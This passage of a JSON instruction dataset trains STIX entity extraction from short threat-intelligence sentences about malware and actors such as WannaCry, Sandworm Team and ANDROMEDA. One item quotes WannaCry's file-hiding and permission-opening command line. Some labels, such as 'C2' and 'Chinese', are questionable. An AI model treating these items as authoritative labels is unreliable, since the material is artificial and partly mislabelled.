    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHancitor is a downloader that has been used by Pony and other information stealing malware.\n",
    "output": "<entities>Hancitor|Pony</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFruitFly saves itself with a leading \".\" to make it a hidden file.\n",
    "output": "<entities>FruitFly</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSMOKEDHAM has used Powershell to download UltraVNC and Ngrok from third-party file sharing sites.\n",
    "output": "<entities>SMOKEDHAM|Powershell|UltraVNC|Ngrok</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nadbupd is a backdoor used by PLATINUM that is similar to Dipsind. \n",
    "output": "<entities>adbupd|PLATINUM|Dipsind</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBitPaymer can set values in the Registry to help in execution.\n",
    "output": "<entities>BitPaymer</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nXTunnel is capable of probing the network for open ports.\n",
    "output": "<entities>XTunnel</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGrandoreiro can detect VMWare via its I/O port and Virtual PC via the vpcext instruction.\n",
    "output": "<entities>Grandoreiro|VMWare</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nChinoxy is a backdoor that has been used since at least November 2018, during the FunnyDream campaign, to gain persistence and drop additional payloads. According to security researchers, Chinoxy has been used by Chinese-speaking threat actors.\n",
    "output": "<entities>Chinoxy|FunnyDream|Chinese</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWannaCry uses attrib +h and icacls . /grant Everyone:F /T /C /Q to make some of its files hidden and grant all users full access controls.\n",
    "output": "<entities>WannaCry</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWolfRAT is malware based on a leaked version of Dendroid that has primarily targeted Thai users. WolfRAT has most likely been operated by the now defunct organization Wolf Research.\n",
    "output": "<entities>WolfRAT|Dendroid|Wolf Research|Thai</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWIREFIRE is a web shell written in Python that exists as trojanized logic to the visits.py component of Ivanti Connect Secure VPN appliances. WIREFIRE was used during Cutting Edge for downloading files and command execution.\n",
    "output": "<entities>WIREFIRE|Cutting Edge|visits.py|Python|Ivanti Connect Secure VPN</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCHEMISTGAMES is a modular backdoor that has been deployed by Sandworm Team.\n",
    "output": "<entities>CHEMISTGAMES|Sandworm Team</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCrossRAT can list all files on a system.\n",
    "output": "<entities>CrossRAT</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFLIPSIDE uses RDP to tunnel traffic from a victim environment.\n",
    "output": "<entities>FLIPSIDE|RDP</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBlackMould is a web shell based on China Chopper for servers running Microsoft IIS. First reported in December 2019, it has been used in malicious campaigns by GALLIUM against telecommunication providers.\n",
    "output": "<entities>BlackMould|China Chopper|Microsoft IIS|GALLIUM</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMis-Type is a backdoor hybrid that was used by Dust Storm in 2012. \n",
    "output": "<entities>Mis-Type|Dust Storm</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nP8RAT can check the compromised host for processes associated with VMware or VirtualBox environments.\n",
    "output": "<entities>P8RAT|VMware|VirtualBox</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nANDROMEDA is commodity malware that was widespread in the early 2010's and continues to be observed in infections across a wide variety of industries. During the 2022 C0026 campaign, threat actors re-registered expired ANDROMEDA C2 domains to spread malware to select targets in Ukraine.\n",
    "output": "<entities>ANDROMEDA|C2|C0026|Ukraine</entities>"
  },
  {
